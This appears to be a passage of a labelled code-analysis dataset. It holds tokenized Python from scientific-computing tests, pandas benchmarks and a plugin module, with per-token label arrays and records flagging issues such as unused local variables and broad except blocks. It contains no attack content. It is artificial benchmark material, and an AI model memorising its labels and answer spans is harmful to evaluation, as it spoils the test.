"\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "root_", "._", "ln", "\\u", "solver_", "=_", "Linea", "r", "Gau", "ss", "Sei", "del_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "._", "ln", "\\u", "solver_", "._", "options_", "[_", "'", "single", "\\u", "voi", "\\u", "relevance", "\\u", "reduc", "tion", "'_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "driver_", "._", "add", "\\u", "des", "var_", "(_", "'", "p1", ".", "a", "'_", ",_", "1.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "driver_", "._", "add", "\\u", "constraint_", "(_", "'", "x", "'_", ",_", "upper_", "=_", "0.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prob_", "._", "driver_", "._", "add", "\\u", "constraint_", "(_", "'", "y", "'_", ",_", "upper_", "=_", "0.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "warnings_", "._", "catch", "\\u", "warnings_", "(_", "record_", "=_", "True_", ")_", "as_", "w_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "MPI_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "suppress", " ", "warn", "ing", " ", "abo", "ut", " ", "not", " ", "runn", "ing", " ", "under", " ", "MPI_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "warnings_", "._", "simplefilter_", "(_", "\"", "ignore", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "prob_", "._", "driver_", "._", "parall", "el", "\\u", "deriv", "s_", "(_", "[_", "'", "x", "'_", ",_", "'", "y", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "root_", "._", "ln", "\\u", "solver_", "._", "options_", "[_", "'", "mode", "'_", "]_", "=_", "'", "rev", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sub", "1_", "._", "ln", "\\u", "solver_", "._", "options_", "[_", "'", "mode", "'_", "]_", "=_", "'", "rev", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "prob_", "._", "\\u", "setup", "\\u", "errors_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mode_", "=_", "prob_", "._", "\\u", "check", "\\u", "for", "\\u", "parall", "el", "\\u", "deriv", "s_", "(_", "[_", "'", "a", "'_", "]_", ",_", "[_", "'", "x", "'_", "]_", ",_", "True_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "msg_", "=_", "\"", "Group", " ", "'", "sub", "2", "'", " ", "has", " ", "mode", " ", "'", "fw", "d", "'", " ", "but", " ", "the", " ", "root", " ", "group", " ", "has", " ", "mode", " ", "'", "rev", "'.", " ", "Mode", "s", " ", "must", " ", "match", " ", "to", " ", "use", " ", "parall", "el", " ", "deriv", "ative", " ", "group", "s", ".\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "msg_", "in_", "prob_", "._", "\\u", "setup", "\\u", "errors_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "sub", "1_", "._", "ln", "\\u", "solver_", "._", "options_", "[_", "'", "mode", "'_", "]_", "=_", "'", "fw", "d", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sub", "2_", "._", "ln", "\\u", "solver_", "._", "options_", "[_", "'", "mode", "'_", "]_", "=_", "'", "rev", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "prob_", "._", "\\u", "setup", "\\u", "errors_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mode_", "=_", "prob_", "._", "\\u", "check", "\\u", "for", "\\u", "parall", "el", "\\u", "deriv", "s_", "(_", "[_", "'", "a", "'_", "]_", ",_", "[_", "'", "x", "'_", "]_", ",_", "True_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "msg_", "=_", "\"", "Group", " ", "'", "sub", "1", "'", " ", "has", " ", "mode", " ", "'", "fw", "d", "'", " ", "but", " ", "the", " ", "root", " ", "group", " ", "has", " ", "mode", " ", "'", "rev", "'.", " ", "Mode", "s", " ", "must", " ", "match", " ", "to", " ", "use", " ", "parall", "el", " ", "deriv", "ative", " ", "group", "s", ".\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "msg_", "in_", "prob_", "._", "\\u", "setup", "\\u", "errors_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "sub", "1_", "._", "ln", "\\u", "solver_", "._", "options_", "[_", "'", "mode", "'_", "]_", "=_", "'", "rev", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mode_", "=_", "prob_", "._", "\\u", "check", "\\u", "for", "\\u", "parall", "el", "\\u", "deriv", "s_", "(_", "[_", "'", "a", "'_", "]_", ",_", "[_", "'", "x", "'_", "]_", ",_", "True_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Problem_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "ipr", "int_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "top_", "=_", "Problem_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "root_", "=_", "Sell", "ar", "State", "Connection_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "setup_", "(_", "check_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "base", "\\u", "stdout_", "=_", "sys_", "._", "stdout_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ostr", "eam_", "=_", "c", "String", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "stdout_", "=_", "ostr", "eam_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sys_", "._", "stdout_", "=_", "base", "\\u", "stdout_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "printed", "_", "=_", "ostr", "eam_", "._", "getvalue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "printed", "_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Turn", " ", "on", " ", "all", " ", "ipr", "ints_", "\\u\\u\\uNL\\u\\u\\u_", "top_", "._", "print", "\\u", "all", "\\u", "convergence", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ostr", "eam_", "=_", "c", "String", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "stdout_", "=_", "ostr", "eam_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sys_", "._", "stdout_", "=_", "base", "\\u", "stdout_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "printed", "_", "=_", "ostr", "eam_", "._", "getvalue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "printed", "_", "._", "count_", "(_", "'", "NEW", "TON", "'_", ")_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "printed", "_", "._", "count_", "(_", "'", "GM", "RES", "'_", ")_", ",_", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'[", "root", "]", " ", "NL", ":", " ", "NEW", "TON", " ", " ", " ", "0", " ", "|", " ", "'_", "in_", "printed", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", " ", " ", " ", "[", "root", ".", "sub", "]", " ", "LN", ":", " ", "GM", "RES", " ", " ", " ", "0", " ", "|", " ", "'_", "in_", "printed", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Check", "Setup_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "cycle_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prob_", "=_", "Problem_", "(_", "root_", "=_", "Group_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "=_", "prob_", "._", "root_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "G1_", "=_", "root_", "._", "add_", "(_", "\"", "G1", "\"_", ",_", "Group_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "G2_", "=_", "G1_", "._", "add_", "(_", "\"", "G2", "\"_", ",_", "Group_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "G2_", "._", "ln", "\\u", "solver_", "=_", "Sci", "py", "GM", "RES", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "C1_", "=_", "G2_", "._", "add_", "(_", "\"", "C1", "\"_", ",_", "Exe", "c", "Comp_", "(_", "'", "y", "=", "x", "*", "2.0", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "C2_", "=_", "G2_", "._", "add_", "(_", "\"", "C2", "\"_", ",_", "Exe", "c", "Comp_", "(_", "'", "y", "=", "x", "*", "2.0", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "C3_", "=_", "G2_", "._", "add_", "(_", "\"", "C3", "\"_", ",_", "Exe", "c", "Comp_", "(_", "'", "y", "=", "x", "*", "2.0", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "G2_", "._", "connect_", "(_", "\"", "C1", ".", "y", "\"_", ",_", "\"", "C3", ".", "x", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "G2_", "._", "connect_", "(_", "\"", "C3", ".", "y", "\"_", ",_", "\"", "C2", ".", "x", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "G2_", "._", "connect_", "(_", "\"", "C2", ".", "y", "\"_", ",_", "\"", "C1", ".", "x", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "force", " ", "wrong", " ", "order_", "\\u\\u\\uNL\\u\\u\\u_", "G2_", "._", "set\\u", "order_", "(_", "[_", "'", "C1", "'_", ",_", "'", "C2", "'_", ",_", "'", "C3", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "stream_", "=_", "c", "String", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "checks_", "=_", "prob_", "._", "setup_", "(_", "out", "\\u", "stream_", "=_", "stream_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "auto_", ",_", "\\u_", "=_", "G2_", "._", "list", "\\u", "auto", "\\u", "order_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "auto_", "==_", "[_", "'", "C1", "'_", ",_", "'", "C3", "'_", ",_", "'", "C2", "'_", "]_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "auto_", "==_", "[_", "'", "C3", "'_", ",_", "'", "C2", "'_", ",_", "'", "C1", "'_", "]_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "auto_", "==_", "[_", "'", "C2", "'_", ",_", "'", "C1", "'_", ",_", "'", "C3", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "Group", " ", "'", "G1", ".", "G2", "'", " ", "has", " ", "the", " ", "follow", "ing", " ", "cycle", "s", ":", " ", "[[", "'", "C1", "',", " ", "'", "C2", "',", " ", "'", "C3", "']]", "\"_", "in_", "\\u\\u\\uNL\\u\\u\\u_", "stream_", "._", "getvalue_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "oo_", "=_", "checks_", "[_", "'", "out", "\\u", "of", "\\u", "order", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "oo_", "[_", "0_", "]_", "[_", "0_", "]_", ",_", "'", "G1", ".", "G2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expected_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "C2", "'_", ",_", "'", "C3", "'_", ")_", ":_", "'", "C1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "C3", "'_", ",_", ")_", ":_", "'", "C2", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "C2", "'_", ",_", ")_", ":_", "'", "C1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "node_", ",_", "after", "s_", "in_", "oo_", "[_", "0_", "]_", "[_", "1_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_",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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
pydata/pandas/asv_bench/benchmarks/eval.py
[ { "content": " def time_add(self, engine, threads):\n df, df2, df3, df4 = self.df, self.df2, self.df3, self.df4\n pd.eval('df + df2 + df3 + df4', engine=engine)", "metadata": "root.eval_frame.time_add", "header": "['class', 'eval_frame', '(', 'object', ')', ':', '___EOS___']", "index": 20 }, { "content": " def time_and(self, engine, threads):\n df, df2, df3, df4 = self.df, self.df2, self.df3, self.df4\n pd.eval('(df > 0) & (df2 > 0) & (df3 > 0) & (df4 > 0)', engine=engine)", "metadata": "root.eval_frame.time_and", "header": "['class', 'eval_frame', '(', 'object', ')', ':', '___EOS___']", "index": 24 }, { "content": " def time_chained_cmp(self, engine, threads):\n df, df2, df3, df4 = self.df, self.df2, self.df3, self.df4\n pd.eval('df < df2 < df3 < df4', engine=engine)", "metadata": "root.eval_frame.time_chained_cmp", "header": "['class', 'eval_frame', '(', 'object', ')', ':', '___EOS___']", "index": 28 }, { "content": " def time_mult(self, engine, threads):\n df, df2, df3, df4 = self.df, self.df2, self.df3, self.df4\n pd.eval('df * df2 * df3 * df4', engine=engine)", "metadata": "root.eval_frame.time_mult", "header": "['class', 'eval_frame', '(', 'object', ')', ':', '___EOS___']", "index": 32 }, { "content": " def time_query_datetime_index(self):\n ts = self.ts\n self.df.query('index < @ts')", "metadata": "root.query_datetime_index.time_query_datetime_index", "header": "['class', 'query_datetime_index', '(', 'object', ')', ':', '___EOS___']", "index": 48 }, { "content": " def time_query_datetime_series(self):\n ts = self.ts\n self.df.query('dates < @ts')", "metadata": "root.query_datetime_series.time_query_datetime_series", "header": "['class', 'query_datetime_series', '(', 'object', ')', ':', '___EOS___']", "index": 64 }, { "content": " def time_query_with_boolean_selection(self):\n min_val, max_val = self.min_val, self.max_val\n self.df.query('(a >= @min_val) & (a <= @max_val)')", "metadata": "root.query_with_boolean_selection.time_query_with_boolean_selection", "header": "['class', 'query_with_boolean_selection', '(', 'object', ')', ':', '___EOS___']", "index": 83 } ]
[ { "span": "df,", "start_line": 21, "start_column": 8, "end_line": 21, "end_column": 10 }, { "span": "df2,", "start_line": 21, "start_column": 12, "end_line": 21, "end_column": 15 }, { "span": "df3,", "start_line": 21, "start_column": 17, "end_line": 21, "end_column": 20 }, { "span": "df4 ", "start_line": 21, "start_column": 22, "end_line": 21, "end_column": 25 }, { "span": "df,", "start_line": 25, "start_column": 8, "end_line": 25, "end_column": 10 }, { "span": "df2,", "start_line": 25, "start_column": 12, "end_line": 25, "end_column": 15 }, { "span": "df3,", "start_line": 25, "start_column": 17, "end_line": 25, "end_column": 20 }, { "span": "df4 ", "start_line": 25, "start_column": 22, "end_line": 25, "end_column": 25 }, { "span": "df,", "start_line": 29, "start_column": 8, "end_line": 29, "end_column": 10 }, { "span": "df2,", "start_line": 29, "start_column": 12, "end_line": 29, "end_column": 15 }, { "span": "df3,", "start_line": 29, "start_column": 17, "end_line": 29, "end_column": 20 }, { "span": "df4 ", "start_line": 29, "start_column": 22, "end_line": 29, "end_column": 25 }, { "span": "df,", "start_line": 33, "start_column": 8, "end_line": 33, "end_column": 10 }, { "span": "df2,", "start_line": 33, "start_column": 12, "end_line": 33, "end_column": 15 }, { "span": "df3,", "start_line": 33, "start_column": 17, "end_line": 33, "end_column": 20 }, { "span": "df4 ", "start_line": 33, "start_column": 22, "end_line": 33, "end_column": 25 }, { "span": "ts ", "start_line": 49, "start_column": 8, "end_line": 49, "end_column": 10 }, { "span": "ts ", "start_line": 65, "start_column": 8, "end_line": 65, "end_column": 10 }, { "span": "min_val,", "start_line": 84, "start_column": 8, "end_line": 84, "end_column": 15 }, { "span": "max_val ", "start_line": 84, "start_column": 17, "end_line": 84, "end_column": 24 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "eval", "\\u", "frame_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "time", "\\u", "add_", "(_", "self_", ",_", "engine_", ",_", "threads_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "df_", ",_", "df2_", ",_", "df", "3_", ",_", "df", "4_", "=_", "self_", "._", "df_", ",_", "self_", "._", "df2_", ",_", "self_", "._", "df", "3_", ",_", "self_", "._", "df", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pd_", "._", "eval_", "(_", "'", "df", " ", "+", " ", "df", "2", " ", "+", " ", "df", "3", " ", "+", " ", "df", "4", "'_", ",_", "engine_", "=_", "engine_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "eval", "\\u", "frame_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "time", "\\u", "and_", "(_", "self_", ",_", "engine_", ",_", "threads_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "df_", ",_", "df2_", ",_", "df", "3_", ",_", "df", "4_", "=_", "self_", "._", "df_", ",_", "self_", "._", "df2_", ",_", "self_", "._", "df", "3_", ",_", "self_", "._", "df", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pd_", "._", "eval_", "(_", "'(", "df", " ", ">", " ", "0", ")", " ", "&", " ", "(", "df", "2", " ", ">", " ", "0", ")", " ", "&", " ", "(", "df", "3", " ", ">", " ", "0", ")", " ", "&", " ", "(", "df", "4", " ", ">", " ", "0", ")'_", ",_", "engine_", "=_", "engine_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "eval", "\\u", "frame_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "time", "\\u", "chained", "\\u", "cmp_", "(_", "self_", ",_", "engine_", ",_", "threads_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "df_", ",_", "df2_", ",_", "df", "3_", ",_", "df", "4_", "=_", "self_", "._", "df_", ",_", "self_", "._", "df2_", ",_", "self_", "._", "df", "3_", ",_", "self_", "._", "df", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pd_", "._", "eval_", "(_", "'", "df", " ", "<", " ", "df", "2", " ", "<", " ", "df", "3", " ", "<", " ", "df", "4", "'_", ",_", "engine_", "=_", "engine_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "eval", "\\u", "frame_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "time", "\\u", "mult_", "(_", "self_", ",_", "engine_", ",_", "threads_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "df_", ",_", "df2_", ",_", "df", "3_", ",_", "df", "4_", "=_", "self_", "._", "df_", ",_", "self_", "._", "df2_", ",_", "self_", "._", "df", "3_", ",_", "self_", "._", "df", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pd_", "._", "eval_", "(_", "'", "df", " ", "*", " ", "df", "2", " ", "*", " ", "df", "3", " ", "*", " ", "df", "4", "'_", ",_", "engine_", "=_", "engine_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "query", "\\u", "datetime", "\\u", "index_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "time", "\\u", "query", "\\u", "datetime", "\\u", "index_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ts_", "=_", "self_", "._", "ts_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "df_", "._", "query_", "(_", "'", "index", " ", "<", " ", "@", "ts", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "query", "\\u", "datetime", "\\u", "series_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "time", "\\u", "query", "\\u", "datetime", "\\u", "series_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ts_", "=_", "self_", "._", "ts_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "df_", "._", "query_", "(_", "'", "dates", " ", "<", " ", "@", "ts", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "query", "\\u", "with", "\\u", "boolean", "\\u", "selection_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "time", "\\u", "query", "\\u", "with", "\\u", "boolean", "\\u", "selection_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "min", "\\u", "val_", ",_", "max", "\\u", "val_", "=_", "self_", "._", "min", "\\u", "val_", ",_", "self_", "._", "max", "\\u", "val_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "df_", "._", "query_", "(_", "'(", "a", " ", ">=", " ", "@", "min", "\\u", "val", ")", " ", "&", " ", "(", "a", " ", "<=", " ", "@", "max", "\\u", "val", ")'_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 0, 2, 0, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
fp7-ofelia/ocf/expedient/src/python/expedient/common/utils/plugins/plugincommunicator.py
[ { "content": " @staticmethod\n def get_objects(slice, plugin_type, klass, **kwargs):\n \"\"\"\n Retrieves the id of a model belonging to another plugin\n and which is contained in the same slice than the \n AM corresponding to the other plugin that invokes this.\n\n E.g. Slice \"test\" with \"VT test AM\" and \"OF test AM\"\n VT plugin will ask for OF resources whose AM (\"OF\n AM test\") was previously added to slice \"tests\".\n \"\"\"\n try:\n# plugins_modules = settings.PLUGIN_LOADER.plugin_settings.get(plugin_type).get(\"general\").get(\"aggregate_plugins\")[0]\n plugins_modules = PLUGIN_LOADER.plugin_settings.get(plugin_type).get(\"general\").get(\"aggregate_plugins\")[0]\n p_agg = plugins_modules.split('.')[-1]\n p_models_path = 